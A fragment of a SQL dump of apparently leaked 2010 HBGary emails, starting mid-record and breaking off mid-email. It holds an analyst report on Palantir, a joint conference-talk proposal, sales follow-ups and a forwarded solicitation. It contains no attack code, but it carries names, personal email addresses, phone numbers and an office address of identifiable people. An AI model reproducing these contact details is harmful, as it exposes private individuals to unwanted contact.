media.\r\n\r\nWhile Palantir\'s platform marks an innovation, it isn\'t the\r\nonly company in the analytics and forensics space, nor is its platform\r\nnecessary and sufficient in and of itself to do soup to nuts analysis. Before\r\nPalantir can do its thing, you need superfast full-packet capture from the\r\nlikes of Niksun, Endace or Napatech; threat pattern\r\ndetection from HBGary or Snort (Sourcefire); or forensic analysis from\r\nthe likes of NetWitness or Solera Networks. So, while the potential\r\napplications for Palantir\'s technology are limitless, the actual applications\r\nof it are thus far very limited: defense and intelligence work, and high\r\nfinance. That\'s a relatively small pool to fish from. With an average deal size\r\nof $400,000, Palantir would need 250 paying customers to bring in the $100m in\r\nannual revenue that might justify the valuation quoted in this funding round.\r\nThe last time we talked with the company (Q4 2009), it had 10. \r\n\r\nWhich brings us to Palantir\'s valuation. Our\r\nback-of-the-envelope calculations as of Q4 2009, based on average deal size,\r\nput revenue at perhaps as high as $16-20m. No doubt the company\'s client roster\r\nhas grown considerably since then, but so has its headcount: up 25%. The\r\nvaluation Palantir has fetched suggests revenue in the range of $100m or more,\r\nbut we\'ve seen nothing from the company to suggest that it\'s anywhere near\r\nthat. We\'d love to learn that we\'re wrong and to hear more about what Palantir\r\nwill do with its latest round. We\'d also love a chance to sit down and run the\r\nnumbers with the company\'s new investors. There\'s obviously a story to tell. \r\n\r\nProducts\r\n\r\nPalantir\'s eponymous platform comprises a rather complex\r\nsystem of modules for importing, tagging and then conducting investigations or\r\nanalysis of disparate structured, semi-structured and unstructured data. At the\r\ncenter of the Palantir Platform is the Palantir Dispatch Server, which acts as\r\na kind of management center for the Palantir Platform, handling business logic,\r\npolicy and user access controls as well as user access to the back end &#8211;\r\nthe Palantir Revisioning Database, which runs Oracle RDBMS 10g. Dispatch\r\nServers can be clustered in large or active deployments, though an additional\r\nLock Server must be deployed in clustered environments to manage in-memory\r\nlocks on the Revisioning Database. The Search Server is a modified version of\r\nthe Apache Software Foundation\'s Lucene and does indexing and full text\r\nsearch of structured and unstructured data. A separate and optional search\r\nserver dubbed Raptor allows the Palantir Platform to search across internal and\r\nexternal data sources. \r\n\r\nOther modules include the Palantir Configuration Server for\r\nmanaging multi-server environments and logging. A Job Server manages imports of\r\n\'large\' data sets (which Palantir terms any data set larger than 1MB or 100\r\ndata sources to the Palantir Revisioning Database, as well as system operations\r\nlike persistent searches). Palantir leverages a modified version of Apache\'s\r\nHadoop/MapReduce service for bulk data imports. The Palantir Workspace front\r\nend is a browser-based application written in Java that centralizes all\r\nelements of investigation, including data management, case creation, analysis\r\nand reporting (output in HTML or PowerPoint). The Dynamic Ontology Manager is a\r\nWindows application that is used to classify structured and unstructured data\r\nto work with Palantir\'s Dynamic Ontology &#8211; a system for managing and\r\naccessing data objects within the Palantir Platform. \r\n\r\nThe company also sells a wide range of additional components\r\nto manage and monitor the health of Palantir Platform deployments, extract data\r\nfrom imported objects, and so on. Deployments of the Palantir Platform vary in\r\nterms of the number of servers; the size depends on the amount of data that\r\nmust be imported and managed and the number of analysts that will be accessing\r\nthe data. As a rule of thumb, the company says one server can support around 12\r\nanalysts. Key functions, including the Dispatch Server, Search Server and\r\nConfiguration, run on separate boxes, as a rule. \r\n\r\nTechnology\r\n\r\nPalantir\'s core technology resides in its Revisioning\r\nDatabase and comprises methods for providing different views of structured,\r\nsemi-structured or unstructured data based on different sets of rules or\r\nchanges to the data set. Palantir\'s technique, described in its US patent\r\napplication, allows multiple users to create different versions of the same\r\ndata object, and then track those changes over time, while allowing users to\r\ncollaborate on their analysis of the same set of data &#8211; tracking changes\r\nover time, viewing a history of changes to a data object, or providing access\r\nrestrictions around certain data objects or even certain \'views\' of that data.\r\nThe Revisioning Database enables the Palantir Platform to easily manipulate\r\ndisparate data sources for analysis. \r\n\r\nPalantir has four other patents pending, including a method\r\nfor applying object modeling for exploring large data sets, and \'Filter Chains\r\nwith Associated Views for Exploring Large Data Sets\' &#8211; a way of tracking\r\na chain of associations between large sets of discrete data elements and an\r\neven larger set of related data elements. Within the Palantir Platform, this\r\ntechnology powers the Links feature, which allows the Palantir Platform to\r\ngraphically represent connections between multiple objects and their properties\r\n&#8211; that could be relationships between people, temporal events or\r\nkeywords, for example. Palantir claims it has applications both in intelligence\r\nand in the financial services sector for analyzing and graphically representing\r\ntrends in high-volume trading data. \r\n\r\nStrategy\r\n\r\nIt\'s hard to discern Palantir\'s long-term strategy, except\r\nto say that the company\'s founders are very bullish about the potential of\r\ntheir platform and have thus far done an exemplary job getting noticed and, we\r\nunderstand, winning \'mindshare\' within the government and defense sectors.\r\nWe\'re less clear about Palantir Finance, but the company has shared the names\r\nof some impressive accounts in that space, as well. Since its inception,\r\nPalantir has pursued a fairly focused strategy of working closely with very\r\nlarge customers in defense, intelligence and high finance to shape its platform\r\nfor the specific needs of intelligence and financial analysts. The company\r\nnotes its reliance on agile development methodology, releasing numerous updates\r\nto its platform during the year. It says that it leverages that and queues from\r\nits customers about what features are needed in its products, rather than\r\ntrying to bend its platform to fit into some predefined product category. \r\n\r\nThe Palantir Platform is licensed by the server core, with\r\nadditional services and support costs of 20% annually. Deal sizes range from\r\n$400,000 to $1.5m. In terms of sales, Palantir says it sells direct only to a\r\nsmall number of very large companies, though its CEO has publicly said that the\r\ncompany has been doubling in size annually based just on word of mouth and\r\ndoesn\'t plan on investing in sales and marketing, so it will remain an almost\r\nentirely engineering-driven firm. That\'s a quaint idea, but smacks a bit too\r\nmuch of late 1990s dot-com bravado for our tastes. In terms of partnerships,\r\nPalantir notes that it has APIs that allow its platform to digest data from a\r\nwide range of third-party data sources, including IDS/IPS, SIEM or third-party\r\ndatabases. \r\n\r\nCompetition\r\n\r\nPalantir would no doubt argue that no product does exactly\r\nwhat its platform does and, therefore, that it has no direct competition. It\r\nmay not be wrong. But there are lots of products that do pieces of what\r\nPalantir does. At its root, Palantir is a platform for doing investigations of\r\ncomplex events. In that, it vies with players in both the forensics and\r\ne-discovery spaces. That would include companies like Guidance Software,\r\nwith EnCase, and forensics toolkit vendor AccessData Group. Autonomy\r\nCorp is a major player in the e-discovery, government intelligence and\r\nfinancial services markets. Basis Technology and its Rosette\r\nmultilingual text-analysis platform has been a popular option in government\r\ndepartments for a decade, as was Inxight Software, at least prior to its\r\nacquisition by Business Objects (now part of SAP) in May 2007. IBM\r\nand SAS Institute each have analytics for both unstructured and\r\nstructured data and have many customers in government and military\r\nintelligence, too. Recommind is strong in e-discovery and has a\r\nwell-established text-analysis foundation of its own, although not much\r\nbusiness in government.\r\n\r\nAntifraud comes from the likes of EMC, VeriSign,\r\nGuardian Analytics, Oracle, Symantec, NICE Systems, and so\r\non. We also see overlap with network forensics vendors like Solera, NetWitness,\r\nNetwork Instruments and NetScout. In addition, there are firms\r\nlike Packet Analytics, Niksun, WildPackets, ClearSight\r\nNetworks, Fluke Networks, CACE Technologies/Wireshark\r\nand the newly launched CloudShark, which is a cloud-enabled front end for\r\nWireshark and tshark applications. \r\n\r\nFinally, diversified IDS and ESIM vendors could also be\r\nconsidered rivals of Palantir &#8211; if only for available budget. We\'d note\r\nSourcefire and NitroSecurity, which is both an ESIM and IDS player, as\r\nfirms with a prolific IDS heritage in addition to ESIM incumbents ArcSight,\r\nQ1 Labs, RSA (with its enVision product) and LogLogic, to\r\nname but a few. \r\n\r\nPalantir will attest (not incorrectly) that its platform can\r\njust consume data feeds from those point products to add layers to its analytic\r\ncapability. But in a constrained capital spending environment, some firms might\r\nwell decide that SIEM and IDS or network management are enough. \r\n\r\nSWOT analysis\r\n\r\n\r\n \r\n  \r\n  Strengths\r\n  \r\n  \r\n  Weaknesses\r\n  \r\n \r\n \r\n  \r\n  Palantir\r\n  has a unique offering and the right provenance, along with some important\r\n  backers in the government and defense space. The company\'s platform slots in\r\n  well with the focus on stopping advanced threats and adaptive persistent\r\n  adversaries.\r\n  \r\n  \r\n  Palantir\'s\r\n  platform, while powerful and flexible, still requires significant amounts of\r\n  customization and comes at a price that limits its reach to all but the\r\n  largest organizations.\r\n  \r\n \r\n \r\n  \r\n  Opportunities\r\n  \r\n  \r\n  Threats\r\n  \r\n \r\n \r\n  \r\n  Adaptive\r\n  persistent adversaries and threats, a flood of data from security point\r\n  products and, in general, the deluge and complexity of data all bode well for\r\n  Palantir, presuming it can find a formula to broaden the reach and appeal of\r\n  its platform.\r\n  \r\n  \r\n  While\r\n  nothing does exactly what Palantir\'s platform does, lots of companies do\r\n  pieces of what it does: forensics, e-discovery, fraud and threat detection.\r\n  Given the cost/complexity of deployments, the company could find it hard to\r\n  grow its customer base to support a nearly $1b valuation.\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2765,'aaron_hbgary_com/2765.html'),(8197,'2010-07-02','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297006407.M966355P14101Q3052.eml','\"Inc. HBGARY\" <All@hbgary.com>','Have A Happy Safe 4th of July!!!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2019,'aaron_hbgary_com/2019.html'),(8198,'2010-07-02','\"Geoff Stowe\" <gstowe@palantir.com>','/aaron@hbgary.com/new/1297006408.M212830P14101Q3053.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: RSA proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust wanted to revive this\r\nthread.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron &#8211; do you think there\r\nare topics we could collaborate on?&nbsp; When Aaron Zollman and I met with\r\nGreg in Sacramento a few months ago, we talked about things like looking for common\r\nindicators in your massive malware repository, and doing a deeper dive on some\r\nof the malware authors.&nbsp; Either of those topics would involve a fair\r\namount of work, but we&#8217;d be willing to do some of the heavy lifting on\r\nthe backend if it would produce some cool results.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Thursday, June 24, 2010 1:45 PM\r\nTo: Aaron Barr\r\nCc: Eli Bingham; Shreyas Vijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPalantir and HBGary (and maybe SecDev) tag team\r\nan RSA speakers submission (due July 9 btw) entitled something like,\r\n&#8220;Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the\r\nProblem Set&#8221; (horrible title I know)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe goal here would be to take a technical\r\nproblem (maybe one of Greg&#8217;s or SecDev&#8217;s pet projects), present the\r\ntechnical findings in Part I of the prezo, then flip gears in Part II to\r\npresent it as an Intelligence problem (using Palantir for the presentation)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe need to be careful to remove all marketing\r\nlanguage from the submission as they apparently don&#8217;t take kindly to that\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe obviously have a ton of time to do the work\r\nwhich could be split between all of us (we could even set up a hosted Palantir\r\ninstance to do the research a la Project Grey Goose)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe would want to play up our Intel community\r\nbona fides and your technical prowess/name brand\r\n\r\n&nbsp;\r\n\r\nMy 4 colleagues CCed and myself are basically all of\r\nPalantir&#8217;s &#8220;Cyber Team&#8221;.&nbsp; I&#8217;ll now open this\r\nthread up for comments.&nbsp; If HBGary is in we can set up a quick\r\nbrainstorming session.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1806,'aaron_hbgary_com/1806.html'),(8199,'2010-07-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006408.M498759P14101Q3054.eml','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','Interview/discussion','Jennifer,\r\n\r\nAny interest in a discussion about the new vulnerabilities social\r\nmedia is bringing to individuals and our organizations?  I am really\r\nfocused on this right now and I  working on presentations for rsa and\r\ndod c3 conferences.  It is a huge risk area that is not being fully\r\naddressed.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n',10364,'aaron_hbgary_com/10364.html'),(8200,'2010-07-03','\"Richard Montoya\" <richard.montoya@it-harvest.com>','/aaron@hbgary.com/new/1297006408.M772708P14101Q3055.eml','\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com','Re: IT-Harvest:  white paper on Advanced Persistent Threat','Hi Bob, is there anything we can assist you with at this time?&nbsp;Kindest Regards, Richard D. Montoya Director of New Business Development richard.montoya@it-harvest.com http://twitter.com/rdmontoya http://www.linkedin.com/pub/0/718/364 (O) 203-826-7056 (M) 203-313-3315   Pre-order Surviving Cyber War on Amazon! Richard Stiennon\r\n Biography   Richard Stiennon, security expert and analyst, is known for shaking up the industry and providing actionable guidance to vendors and end users. He recently re-launched the security blog ThreatChaos.com and is the founder of IT-Harvest, an independent analyst firm that researches the 1,200 IT security vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading UTM vendor. Prior to that he was VP Threat Research at Webroot Software where he followed and wrote about the rising tide of spyware.   &nbsp;  Before Webroot, Mr. Stiennon was VP Research at Gartner Inc. where he covered security topics including firewalls, intrusion detection, intrusion prevention, security consulting, and managed security services for the Security and Privacy group. He is a holder of Gartner\'s Thought Leadership award and was named \"One of the 50 most powerful people in\r\n Networking\" by NetworkWorld Magazine. In November 2009, he was named by SC Magazine as a security industry pioneer.   Stiennon\'s Blog:&nbsp; www.threatchaos.com  SC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/CRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq The NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt;    His ThreatChaos blog was re-launched in the fall of 2008 and garners 7,000+ page views a day. The author is followed by 18,100 people on Twitter and has a Twitter Grade of 99.96. The Twitter ID\r\n @cyberwar has 4,000 followers in the IT security field. The author also manages a LinkedIn Group of security leaders with 3,050 members and publishes the Data Protection Weekly email to 4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly emails to 34,000 people. From: Bob Slapnik &lt;bob@hbgary.com&gt;To: Richard Montoya &lt;richard.montoya@it-harvest.com&gt;; aaron@hbgary.comSent: Sat, April 10, 2010 12:35:29 PMSubject: RE: IT-Harvest:  white paper on\r\n Advanced Persistent Threat\r\n\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRichard, \r\n\r\n &nbsp; \r\n\r\nWe discussed the possibility of HBGary needing to write some\r\nwhitepapers and maybe farming it out.&nbsp; Penny makes those decisions.&nbsp; I’ll ask\r\nher if she wants help with it. \r\n\r\n &nbsp; \r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc. \r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419 \r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com \r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\n\r\n\r\nFrom: Richard Montoya\r\n[mailto:richard.montoya@it-harvest.com] \r\nSent: Friday, April 09, 2010 7:41 PM\r\nTo: aaron@hbgary.com; bob@hbgary.com\r\nSubject: IT-Harvest: white paper on Advanced Persistent Threat \r\n\r\n\r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, hello&nbsp;Bob.&nbsp; How was your meeting with\r\nRichard at Palantir?&nbsp; He mentioned you expressed interest in a white paper\r\non Advanced Persistent Threat.....how can we help you? \r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nKindest Regards, \r\n\r\nRichard D. Montoya \r\n\r\nDirector of New Business Development \r\nrichard.montoya@it-harvest.com\r\n\r\nhttp://twitter.com/rdmontoya \r\nhttp://www.linkedin.com/pub/0/718/364\r\n\r\n(O) 203-826-7056 \r\n(M) 203-313-3315  \r\n\r\n\r\n\r\n\r\n\r\nPre-order Surviving Cyber War on Amazon! \r\n\r\n\r\nRichard Stiennon Biography  \r\n\r\n\r\n\r\nRichard Stiennon, security expert and analyst, is known for\r\nshaking up the industry and providing actionable guidance to vendors and end\r\nusers. He recently re-launched the security blog ThreatChaos.com and is the\r\nfounder of IT-Harvest, an independent analyst firm that researches the 1,200 IT\r\nsecurity vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading\r\nUTM vendor. Prior to that he was VP Threat Research at Webroot Software where\r\nhe followed and wrote about the rising tide of spyware.  \r\n\r\n&nbsp; \r\n\r\n\r\n\r\nBefore Webroot, Mr. Stiennon was VP Research at Gartner Inc.\r\nwhere he covered security topics including firewalls, intrusion detection,\r\nintrusion prevention, security consulting, and managed security services for\r\nthe Security and Privacy group. He is a holder of Gartner\'s Thought Leadership\r\naward and was named \"One of the 50 most powerful people in\r\nNetworking\" by NetworkWorld Magazine. In November 2009, he was named by SC\r\nMagazine as a security industry pioneer.  \r\n\r\n\r\n\r\n\r\n\r\n\r\nStiennon\'s Blog:&nbsp; www.threatchaos.com \r\n\r\n\r\n\r\n\r\n\r\nSC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/\r\nCRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq\r\n\r\nThe NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHis ThreatChaos blog was re-launched in the fall of 2008 and\r\ngarners 7,000+ page views a day. The author is followed by 18,100 people on Twitter\r\nand has a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers\r\nin the IT security field. The author also manages a LinkedIn Group of security\r\nleaders with 3,050 members and publishes the Data Protection Weekly email to\r\n4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly\r\nemails to 34,000 people.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/09/10\r\n02:32:00 \r\n\r\n\r\n\r\n\r\n',7892,'aaron_hbgary_com/7892.html'),(8201,'2010-07-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006409.M2954P14101Q3056.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: LOOKING FOR TEAMING OR SUBCONTRACTING OPPORTUNITIES TO PROVIDE 	GLOBAL MEDICAL SUPPORT SERVICES IN THE MIDDLE EAST FOR YOUR COMPANY TO MEET 	DOD REQUIREMENTS','Begin forwarded message:From: &quot;Leslie Castaneda&quot; &lt;ljc.bci@live.com&gt;\r\nDate: July 3, 2010 12:48:35 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: LOOKING FOR TEAMING OR SUBCONTRACTING OPPORTUNITIES TO PROVIDE GLOBAL MEDICAL SUPPORT SERVICES IN THE MIDDLE EAST FOR YOUR COMPANY TO MEET DOD REQUIREMENTS\r\n\r\n\r\n\r\n\r\nMr.\r\nTed Vera,\r\n\r\n \r\n\r\nAllow\r\nus to briefly introduce our company to you and the purpose of this email. \r\n\r\n \r\n\r\nWe\r\nare the Co-Founders/ Executive Partners for Backcountry Care International,\r\nLLC.  We\r\nare a small, women-owned, US based business with 37 years combined experience\r\nin the healthcare industry specializing in setting up and operating\r\nOccupational, Urgent and Non-urgent clinics in the Middle East.  It is\r\nimportant for us to maintain the highest standards of care while adhering to\r\nour core values of professionalism, honesty, integrity, and respect and would\r\nlike to find a Client that can share these same core values. \r\n\r\n \r\n\r\nThere\r\nis a shift that is happening with current Military Medical support for contractors.\r\nThey are currently looking to contractors to provide their own routine medical\r\ncare. We can fill this need for you. We want to assist your company with\r\nmeeting DOD requirements by providing medical support services. \r\n\r\n \r\n\r\nWe\r\nwill be going to Afghanistan in July and will be available for any medical\r\nservices, complimentary site assessments, or meetings as needed. Additionally,\r\nwe are in the process of opening up an International Medical Training Center in\r\nKabul, Afghanistan. \r\n\r\n \r\n\r\nPURPOSE:\r\n\r\n \r\n\r\nWe are currently looking for teaming\r\nopportunities to provide GLOBAL MEDICAL SUPPORT SERVICES for employees,\r\ncontractors and subcontractors, primarily in the Middle East. Essentially, we\r\nset-up, manage, staff and oversee remote medical clinics on any camp location\r\nto provide medical care for your company. Our range of medical care includes\r\nanything from routine medical clearance, immunizations, first aid, medical/\r\nsurgical issues to cardiopulmonary resuscitation and major trauma. We can\r\nfunction from a free-standing clinic or out of a backpack, depending on client\r\nneed. \r\n\r\n \r\n\r\nPrevious\r\nMiddle East areas of operations include Kuwait and Iraq.  We have also opened\r\nup an International Medical Training Center at a Hospital is Kabul,\r\nAfghanistan, to Western train their staff and to form a teaming relationship\r\nfor several projects, including, but not limited to, mobile clinic set-up,\r\nstaff, patient, and community education.  \r\n\r\n \r\n\r\nSERVICES:\r\n\r\n \r\n\r\nBCI offers a wide array of global\r\nmedical support services, which include, but are not limited to:\r\n\r\n \r\n\r\nv Remote\r\noccupational, urgent and non-urgent medical care clinic set-up \r\n\r\nv 24/7 Clinic\r\nsupport and oversight\r\n\r\nv Electronic\r\nmedical record and reporting with real-time access\r\n\r\nv Logistics/procurement,\r\ninventory and distribution\r\n\r\nv Occupational\r\nhealth and injury prevention\r\n\r\nv Basic\r\nemployment physicals and immunizations\r\n\r\nv Medical\r\nstaffing and recruitment services\r\n\r\nv Consulting\r\n\r\n\r\nv Emergency\r\nresponse\r\n\r\nv Military\r\nassisted evacuation\r\n\r\n \r\n\r\n \r\n\r\nPROFESSIONAL\r\nSTAFF:\r\n\r\n \r\n\r\nBackcountry Care International retains\r\nonly licensed medical\r\nprofessionals, ready to deploy at a moment’s notice. Our clinics\r\nand specialized field staff are highly trained and experienced in responding to\r\nmedical and war related emergencies, as well as providing general, occupational\r\nmedical support.\r\nAll\r\nclinicians are held to the highest industry standards and must meet stringent\r\nexperience criteria before hire. Depending on contract requirements, BCI\r\ndeploys: \r\n\r\nv\r\nPhysicians\r\n\r\n\r\nv\r\nNurse\r\nPractitioners \r\n\r\nv\r\nPhysician\r\nAssistants \r\n\r\nv\r\nCritical\r\nCare Emergency Nurses \r\n\r\nv\r\nNationally\r\nRegistered Paramedics \r\n\r\n \r\n\r\n \r\n\r\nPROJECT OBJECTIVES:\r\n\r\n \r\n\r\nv Provide health\r\nservices for all company employees, contractors and subcontractors in\r\nTheater. \r\n\r\nv Ensure that\r\nall regulatory requirements are fulfilled\r\n\r\nv Provide\r\ninitial training of health workers and continued medical education. \r\n\r\nv Strengthen\r\nhealth information systems in Theater. \r\n\r\nv Improve\r\ncollaboration among local diverse health organizations. \r\n\r\nv Promote\r\nnetworking and partnering with international health professionals and\r\ninstitutions.\r\n\r\nv Helping your\r\ncompany meet DOD requirements by providing medical care.\r\n\r\n \r\n\r\n \r\n\r\nCONCLUSION:\r\n\r\n \r\n\r\nBackcountry\r\nCare International can customize its global medical support services to meet\r\nthe demands of our clients. From emergency response to clinical oversight,\r\nBCI provides the most comprehensive medical services package. We operate and ensure a pro-active, hands-on approach\r\nto business and unyielding commitment to customer satisfaction. White papers\r\navailable on request. \r\n\r\n \r\n\r\nWe\r\nlook forward to hearing from you. \r\n\r\n \r\n\r\nRespectfully,\r\n\r\n \r\n\r\n \r\n\r\nLeslie\r\nJ.  Castañeda,  MSHS,  BSN,  RN\r\n\r\nExecutive\r\nPartner/ Operations Management\r\n\r\nBackcountry\r\nCare International, LLC\r\n\r\nPO\r\nBox 47409\r\n\r\nSeattle,\r\nWashington 98146\r\n\r\nOffice   \r\n206.402.6998\r\n\r\nCell      \r\n206.553.9984\r\n\r\nFax      \r\n206.708.6975\r\n\r\nljc.bci@live.com\r\n\r\nmedical.bci@live.com \r\n\r\nwww.backcountrycareinternational.com \r\n\r\n \r\n\r\nLEGAL CONFIDENTIAL: The information in this e-mail and in any\r\nattachment may contain information which is legally privileged. It is intended\r\nonly for the attention and use of the named recipient. If you are not the\r\nintended recipient, you are not authorized to retain, disclose, copy or\r\ndistribute the message and/or any of its attachments. If you received this\r\ne-mail in error, please notify me and delete this message. Thank-you.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14916,'aaron_hbgary_com/14916.html'),(8202,'2010-07-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006409.M408595P14101Q3057.eml','\"Ted Vera\" <ted@hbgary.com>','Re: LOOKING FOR TEAMING OR SUBCONTRACTING OPPORTUNITIES TO PROVIDE 	GLOBAL MEDICAL SUPPORT SERVICES IN THE MIDDLE EAST FOR YOUR COMPANY TO MEET 	DOD REQUIREMENTS','Weird.From my iPhoneOn Jul 3, 2010, at 11:06 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBegin forwarded message:From: &quot;Leslie Castaneda&quot; &lt;ljc.bci@live.com&gt;\r\n\r\nDate: July 3, 2010 12:48:35 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: LOOKING FOR TEAMING OR SUBCONTRACTING OPPORTUNITIES TO PROVIDE GLOBAL MEDICAL SUPPORT SERVICES IN THE MIDDLE EAST FOR YOUR COMPANY TO MEET DOD REQUIREMENTS\r\n\r\n\r\n\r\n\r\n\r\nMr.\r\nTed Vera,\r\n\r\n \r\n\r\nAllow\r\nus to briefly introduce our company to you and the purpose of this email. \r\n\r\n \r\n\r\nWe\r\nare the Co-Founders/ Executive Partners for Backcountry Care International,\r\nLLC.  We\r\nare a small, women-owned, US based business with 37 years combined experience\r\nin the healthcare industry specializing in setting up and operating\r\nOccupational, Urgent and Non-urgent clinics in the Middle East.  It is\r\nimportant for us to maintain the highest standards of care while adhering to\r\nour core values of professionalism, honesty, integrity, and respect and would\r\nlike to find a Client that can share these same core values. \r\n\r\n \r\n\r\nThere\r\nis a shift that is happening with current Military Medical support for contractors.\r\nThey are currently looking to contractors to provide their own routine medical\r\ncare. We can fill this need for you. We want to assist your company with\r\nmeeting DOD requirements by providing medical support services. \r\n\r\n \r\n\r\nWe\r\nwill be going to Afghanistan in July and will be available for any medical\r\nservices, complimentary site assessments, or meetings as needed. Additionally,\r\nwe are in the process of opening up an International Medical Training Center in\r\nKabul, Afghanistan. \r\n\r\n \r\n\r\nPURPOSE:\r\n\r\n \r\n\r\nWe are currently looking for teaming\r\nopportunities to provide GLOBAL MEDICAL SUPPORT SERVICES for employees,\r\ncontractors and subcontractors, primarily in the Middle East. Essentially, we\r\nset-up, manage, staff and oversee remote medical clinics on any camp location\r\nto provide medical care for your company. Our range of medical care includes\r\nanything from routine medical clearance, immunizations, first aid, medical/\r\nsurgical issues to cardiopulmonary resuscitation and major trauma. We can\r\nfunction from a free-standing clinic or out of a backpack, depending on client\r\nneed. \r\n\r\n \r\n\r\nPrevious\r\nMiddle East areas of operations include Kuwait and Iraq.  We have also opened\r\nup an International Medical Training Center at a Hospital is Kabul,\r\nAfghanistan, to Western train their staff and to form a teaming relationship\r\nfor several projects, including, but not limited to, mobile clinic set-up,\r\nstaff, patient, and community education.  \r\n\r\n \r\n\r\nSERVICES:\r\n\r\n \r\n\r\nBCI offers a wide array of global\r\nmedical support services, which include, but are not limited to:\r\n\r\n \r\n\r\nv Remote\r\noccupational, urgent and non-urgent medical care clinic set-up \r\n\r\nv 24/7 Clinic\r\nsupport and 